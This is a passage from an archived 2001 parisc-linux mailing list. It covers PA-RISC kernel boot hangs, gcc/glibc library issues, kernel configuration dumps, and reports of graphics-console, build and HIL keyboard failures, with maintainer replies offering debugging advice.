> This will get fixed once we have an iotree.  Coming soon...


Currently, Harmony needs some bugs fixing.
I'll commit in the next few days a patch for it:
- Suppressing race access;
- Changing behaviour of read/write. These functions didn't respected fs/vfs interface.
- Add poll()
It's quite ready, but I've to correct some strange Harmony behaviour.
So, keep reading!

BTW, http://mkhppa1.esiee.fr/ is accessible again.
http://www.esiee.fr/puffin is still closed

Regards,
Matthieu Delahaye
http://mkhppa1.esiee.fr/ 
 
 




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] gcc/glibc problems
Date: Thu, 30 Aug 2001 20:14:05 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20010830201405.A2943@middle.of.nowhere>
References: <20010830073255.A9044@middle.of.nowhere> <20010830065907.H13438@parcelfarce.linux.theplanet.co.uk> <20010830130722.A20475@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620433 24698 80.91.229.3 (22 Nov 2014 01:40:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 12:18:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EA61482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 12:18:38 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id UAA27272
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 20:18:36 +0200 (CEST)
Original-Received: (qmail 2620 invoked from network); 30 Aug 2001 18:14:07 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 30 Aug 2001 18:14:07 -0000
Original-Received: (qmail 3774 invoked by uid 500); 30 Aug 2001 18:14:05 -0000
Content-Disposition: inline
In-Reply-To: <20010830130722.A20475@middle.of.nowhere>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12033

On Thu, Aug 30, 2001 at 01:07:22PM +0200, thunder7@xs4all.nl wrote:
> On Thu, Aug 30, 2001 at 06:59:07AM +0100, Matthew Wilcox wrote:
> > 
> > do you have libc6-dev installed?
> > 
> I do now, and I can compile (Whoohoo!) but it seems to have some
> side-effects:
> 
> pa8200:/usr/bin# find
> Inconsistency detected by ld.so: dynamic-link.h: 62: elf_get_dynamic_info: Assertion `! "bad dynamic tag"' failed!

This behaviour was gone after a reboot.

On with compiling a kernel [ I still feel like I have a fabulous new
toy. May all you hppa-kernel-hackers be as merry as I am! ]

Jurriaan
-- 
D.J.'s, V.J.'s, pimps and trollops,
never mind music - this is bollocks.
	Skyclad - Penny Dreadful
GNU/Linux 2.4.9-ac2 SMP/ReiserFS 2x1402 bogomips load av: 0.45 0.12 0.04




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.9-pa10 hangs on c200+ after 'branching to kernel entry point'
Date: Thu, 30 Aug 2001 21:57:14 +0200
Lines: 166
Approved: news@gmane.org
Message-ID: <20010830215714.A19233@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620433 24702 80.91.229.3 (22 Nov 2014 01:40:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 13:57:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp7.xs4all.nl (smtp7.xs4all.nl [194.109.127.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34D4C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 13:57:25 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp7.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA03600
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 21:57:22 +0200 (CEST)
Original-Received: (qmail 21795 invoked from network); 30 Aug 2001 19:57:16 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 30 Aug 2001 19:57:16 -0000
Original-Received: (qmail 19908 invoked by uid 500); 30 Aug 2001 19:57:14 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12034

did I configure somethings wrong? I grabbed linux-latest yesterday,
and did a 

make oldconfig
make config

I did change the CPU-type to PA8x00, and set CONFIG_PA20 to y.

That should still work, right?

I have the feeling I'm asking a lot of questions.

Jurriaan


2/boot/vmlinux-2.4.9-pa10 root=/dev/sda2 HOME=/ console=ttyS0 TERM=vt102
 0: 2/boot/vmlinux-2.4.9-pa10
 1: root=/dev/sda2
 2: HOME=/
 3: console=ttyS0
 4: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line: 'root=/dev/sda2 HOME=/ console=ttyS0 TERM=vt102'

Kernel: partition 2 file /boot/vmlinux-2.4.9-pa10
ext2 block size 4096
ext2_mount(partition 2) returns 0
ext2_open(/boot/vmlinux-2.4.9-pa10) = 3
ELF32 executable
Entry 00100028 first 00100000 n 4
Segment 0 load 00100000 size 1720172 mediaptr 0x1000
Segment 1 load 002a4000 size 282416 mediaptr 0x1a5000
Segment 2 load 002ec000 size 385024 mediaptr 0x1ea000
Segment 3 load 0037f530 size 87984 mediaptr 0x248530
branching to kernel entry point 0x00100028
=============================
jurriaan@pa8200:~/source/linux$ ls -l /boot
total 7020
-rw-r--r--    1 root     root       593072 Jan 16  2021 System.map-2.4.0
-rw-r--r--    1 root     disk       552272 Aug 30 23:21 System.map-2.4.9-pa10
-rw-r--r--    1 root     root         3949 Jan 16  2021 config-2.4.0
-rw-r--r--    1 root     disk        13616 Aug 30 23:21 config-2.4.9-pa10
-rw-r--r--    1 root     root        26624 Jul 11 19:08 iplboot
-rw-r--r--    1 root     root      2853588 Jan 16  2021 vmlinux-2.4.0
-rwxr-xr-x    1 root     disk      3118114 Aug 30 23:20 vmlinux-2.4.9-pa10
jurriaan@pa8200:~/source/linux$ cat /etc/palo.conf
--bootloader=/boot/iplboot
--commandline=2/boot/vmlinux-2.4.9-pa10 root=/dev/sda2 HOME=/
--recoverykernel=/boot/vmlinux-2.4.0
--init-partitioned=/dev/sda
jurriaan@pa8200:~/source/linux$ egrep "m$|y$" .config
CONFIG_PARISC=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
CONFIG_EXPERIMENTAL=y
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_WAX_EISA=y
CONFIG_SUPERIO=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_PCI_NAMES=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=y
CONFIG_PARPORT_PC_CML1=y
CONFIG_PARPORT_GSC=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_LINEAR=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID5=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
CONFIG_CHR_DEV_SG=y
CONFIG_SCSI_LASI=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_SYM53C8XX=y
CONFIG_NETDEVICES=y
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
CONFIG_NET_PCI=y
CONFIG_TULIP=y
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
CONFIG_UNIX98_PTYS=y
CONFIG_PRINTER=y
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
CONFIG_GENRTC=y
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_PROC_FS=y
CONFIG_DEVPTS_FS=y
CONFIG_EXT2_FS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_ROOT_NFS=y
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FB_STI=y
CONFIG_FBCON_CFB2=y
CONFIG_FBCON_CFB4=y
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_STI=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y
CONFIG_SOUND=y
CONFIG_SOUND_HARMONY=y
CONFIG_MAGIC_SYSRQ=y

-- 
BOFH excuse #210:

We didn't pay the Internet bill and it's been cut off.
GNU/Linux 2.4.9-ac2 SMP/ReiserFS 2x1402 bogomips load av: 0.13 0.07 0.02




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.9-pa10 hangs on c200+ after 'branching to kernel entry point'
Date: Thu, 30 Aug 2001 21:09:33 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010830210933.D30497@parcelfarce.linux.theplanet.co.uk>
References: <20010830215714.A19233@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620433 24705 80.91.229.3 (22 Nov 2014 01:40:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 14:09:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CC71482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 14:09:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15cY85-00046y-00; Thu, 30 Aug 2001 21:09:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010830215714.A19233@middle.of.nowhere>; from thunder7@xs4all.nl on Thu, Aug 30, 2001 at 09:57:14PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12035

On Thu, Aug 30, 2001 at 09:57:14PM +0200, thunder7@xs4all.nl wrote:
> I did change the CPU-type to PA8x00, and set CONFIG_PA20 to y.
> 
> That should still work, right?

Yes.  Just don't go to a 64-bit kernel.  You're not seeing any output
because of the current serial port snafu.  If you connect another cable
to your other serial port, you'll see the boot messages.  I've found
someone in the firmware team who worked on C200-era firmware to talk to
now, but he's not at his desk right now.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel failures
Date: Fri, 31 Aug 2001 06:56:15 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <3B8F18EF.9060404@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620434 24710 80.91.229.3 (22 Nov 2014 01:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 22:56:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2ED98482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 22:56:39 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (unknown [145.254.198.221])
	by mx04.nexgo.de (Postfix) with ESMTP id F13F82F359
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Aug 2001 06:56:31 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.3) Gecko/20010801
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12036

  Hi there!

When I played a little bit  with the kernel, I found some failures.
My machine is a 715/100 with a second  Graphics-Card (Coral SGC). If the 
second graphics card is disable (I just pulled off the ribbon cable), 
the machine boots fine even with stifb enabled. Now I tried to boot with 
the second card enabled, so I disable stifb (which supports only one 
graphics card atm) and enabled STI-Console only.  Booting this kernel, 
it detects my two graphic cards, but crashed when callling the functionn 
sti_init_graph for the second card. I used the kernel 2.4.7-pa1.
The last Bootmessages are:
SNIP----------
        sticonsole_init: searching for STI ROMs
        STI word mode ROM at f0025000, hpa=f8000000
        STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
        STI device: HPA208LC1024
        STI word mode ROM at f0025000, hpa=f4000000
        STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
SNAP---------

Trying the same thing with kernel 2.4.9-pa5 leeds to a crash right after 
detecting the first card.
SNIP----------
        sticonsole_init: searching for STI ROMs
        STI word mode ROM at f0025000, hpa=f4000000
        STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
SNAP---------

The other failures I found are:  
1. Every time my machine dumps the stack, and I check GR02 and IAOQ, 
they tell me that the function which trashed the kernel are 
parisc_terminate and parisc_showstack (or s.th like that). This isn't 
normal, isn't it?
2. Enabling IO_HPPA_REMAP in io.h causes a error in ioremap.c while 
compiling the kernel:
SNIP----------
            ioremap.c: In function `remap_area_pages':
            ioremap.c:79: warning: passing arg 1 of `pmd_alloc' from 
incompatible pointer type
            ioremap.c:79: warning: passing arg 2 of `pmd_alloc' makes 
pointer from integer without a cast
            ioremap.c:79: too few arguments to function `pmd_alloc'
SNAP----------

3. Enabling SMB-Fs in the kernel gives an error message:
SNIP-----------
        gcc -D__KERNEL__ -I/usr/src/linux/include -Wall 
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer 
-fno-strict-aliasing -fno-common
               -D__linux__ -pipe -fno-strength-reduce -mno-space-regs 
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1 
-mschedule=7100LC
               -DSMBFS_PARANOIA  -c -o ioctl.o ioctl.c
        ioctl.c: In function `smb_ioctl':
        ioctl.c:31: `__kernel_old_uid_t' undeclared (first use in this 
function)
        ioctl.c:31: (Each undeclared identifier is reported only once
        ioctl.c:31: for each function it appears in.)
        make[3]: *** [ioctl.o] Fehler 1
        make[3]: Leaving directory `/usr/src/linux/fs/smbfs'
        make[2]: *** [first_rule] Fehler 2
        make[2]: Leaving directory `/usr/src/linux/fs/smbfs'
        make[1]: *** [_subdir_smbfs] Fehler 2
        make[1]: Leaving directory `/usr/src/linux/fs'
        make: *** [_dir_fs] Fehler 2
SNAP-----------
4. My HIL-Keyboard isn't detected anymore by the new 2.4.9-kernel. Using 
Kernel 2.4.7-pa1, after the initalisation of HIL, I get a bootmessage like
 "HIL: keyboard found".  Booting the new Kernel gives me only the two 
lines of HIL initalisation, but nothing about my Keyboard. Which is a 
PS/2-Keyboard on a HIL-Adaptorbox. Both Kernel were configured via "make 
oldconfig".

That's all folks!! ;-)

I would really like to solve these problems and support a patch for 
them. But as I'm not a kernel hacker guy, the only assistence I can give 
is to test new code and to report wether it works or not.
Can somebody with more knowledge about kernelhacking have a look at 
these failures?
Thanks,
        Rdiger






From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.9-pa10 hangs on c200+ after 'branching to kernel entry point'
Date: Fri, 31 Aug 2001 06:57:32 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20010831065732.B4816@middle.of.nowhere>
References: <20010830215714.A19233@middle.of.nowhere> <20010830210933.D30497@parcelfarce.linux.theplanet.co.uk>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620434 24729 80.91.229.3 (22 Nov 2014 01:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 23:18:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44454482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 23:18:03 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id HAA01514
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Aug 2001 07:18:01 +0200 (CEST)
Original-Received: (qmail 6757 invoked from network); 31 Aug 2001 04:57:35 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 31 Aug 2001 04:57:35 -0000
Original-Received: (qmail 6575 invoked by uid 500); 31 Aug 2001 04:57:32 -0000
Content-Disposition: inline
In-Reply-To: <20010830210933.D30497@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12037

On Thu, Aug 30, 2001 at 09:09:33PM +0100, Matthew Wilcox wrote:
> On Thu, Aug 30, 2001 at 09:57:14PM +0200, thunder7@xs4all.nl wrote:
> > I did change the CPU-type to PA8x00, and set CONFIG_PA20 to y.
> > 
> > That should still work, right?
> 
> Yes.  Just don't go to a 64-bit kernel.  You're not seeing any output
> because of the current serial port snafu.  If you connect another cable
> to your other serial port, you'll see the boot messages.  I've found
> someone in the firmware team who worked on C200-era firmware to talk to
> now, but he's not at his desk right now.
> 
Where can I find any info on 'the current serial port snafu'? Is this
the same problem as mentioned on the 5th of August 'more serial problems
on D310' ?

Jurriaan
-- 
BOFH excuse #279:

The static electricity routing is acting up...
GNU/Linux 2.4.9-ac2 SMP/ReiserFS 2x1402 bogomips load av: 0.06 0.03 0.01




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel failures
Date: Fri, 31 Aug 2001 06:40:05 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20010831064005.F30497@parcelfarce.linux.theplanet.co.uk>
References: <3B8F18EF.9060404@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620434 24731 80.91.229.3 (22 Nov 2014 01:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 23:40:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB5BD482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 23:40:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ch2D-0006l8-00; Fri, 31 Aug 2001 06:40:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B8F18EF.9060404@hrzpub.tu-darmstadt.de>; from rscholz@hrzpub.tu-darmstadt.de on Fri, Aug 31, 2001 at 06:56:15AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12038

On Fri, Aug 31, 2001 at 06:56:15AM +0200, Rdiger Scholz wrote:
> The last Bootmessages are:
> SNIP----------
>         sticonsole_init: searching for STI ROMs
>         STI word mode ROM at f0025000, hpa=f8000000
>         STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
>         STI device: HPA208LC1024
>         STI word mode ROM at f0025000, hpa=f4000000
>         STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
> SNAP---------
> 
> Trying the same thing with kernel 2.4.9-pa5 leeds to a crash right after 
> detecting the first card.
> SNIP----------
>         sticonsole_init: searching for STI ROMs
>         STI word mode ROM at f0025000, hpa=f4000000
>         STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
> SNAP---------

Notice that both stop after trying hpa f4000000.  I think this is probably
where the bug lies.  I did change the detection order between than and now.

> 1. Every time my machine dumps the stack, and I check GR02 and IAOQ, 
> they tell me that the function which trashed the kernel are 
> parisc_terminate and parisc_showstack (or s.th like that). This isn't 
> normal, isn't it?

No.  There's astk in the build-tools CVS module which will dissect that
stack dump for you and maybe show you what's really going on.

> 2. Enabling IO_HPPA_REMAP in io.h causes a error in ioremap.c while 

Don't do that then :-)

> 3. Enabling SMB-Fs in the kernel gives an error message:

Yeah... i promised to fix this a while back; haven't got round to it yet.

> 4. My HIL-Keyboard isn't detected anymore by the new 2.4.9-kernel. Using 
> Kernel 2.4.7-pa1, after the initalisation of HIL, I get a bootmessage like
>  "HIL: keyboard found".  Booting the new Kernel gives me only the two 
> lines of HIL initalisation, but nothing about my Keyboard. Which is a 
> PS/2-Keyboard on a HIL-Adaptorbox. Both Kernel were configured via "make 
> oldconfig".

I'm interested in debugging this one - I don't quite understand what's going on though.  You should see:

Found HIL at 0x%x, IRQ %d

then one of:

HIL: timed out, assuming no keyboard present.
HIL: no keyboard present.
HIL: keyboard found at id %d

which?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.9-pa10 hangs on c200+ after 'branching to kernel entry point'
Date: Fri, 31 Aug 2001 06:47:10 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010831064710.G30497@parcelfarce.linux.theplanet.co.uk>
References: <20010830215714.A19233@middle.of.nowhere> <20010830210933.D30497@parcelfarce.linux.theplanet.co.uk> <20010831065732.B4816@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620435 24736 80.91.229.3 (22 Nov 2014 01:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 23:47:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4527E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 23:47:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ch94-0006uV-00; Fri, 31 Aug 2001 06:47:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010831065732.B4816@middle.of.nowhere>; from thunder7@xs4all.nl on Fri, Aug 31, 2001 at 06:57:32AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12039

On Fri, Aug 31, 2001 at 06:57:32AM +0200, thunder7@xs4all.nl wrote:
> Where can I find any info on 'the current serial port snafu'? Is this
> the same problem as mentioned on the 5th of August 'more serial problems
> on D310' ?

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-August/029567.html
it almost certainly is the same problem which was reported by the D310 owner.

fyi, i committed option 1 earlier today.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel failures
Date: Fri, 31 Aug 2001 13:18:00 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <3B8F7268.9090408@hrzpub.tu-darmstadt.de>
References: <3B8F18EF.9060404@hrzpub.tu-darmstadt.de> <20010831064005.F30497@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620435 24743 80.91.229.3 (22 Nov 2014 01:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 31 03:18:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx05.nexgo.de (mx05.nexgo.de [151.189.8.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC90F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Aug 2001 03:18:18 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (unknown [145.254.197.251])
	by mx05.nexgo.de (Postfix) with ESMTP
	id 439433749B; Fri, 31 Aug 2001 11:18:15 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.3) Gecko/20010801
X-Accept-Language: en-us
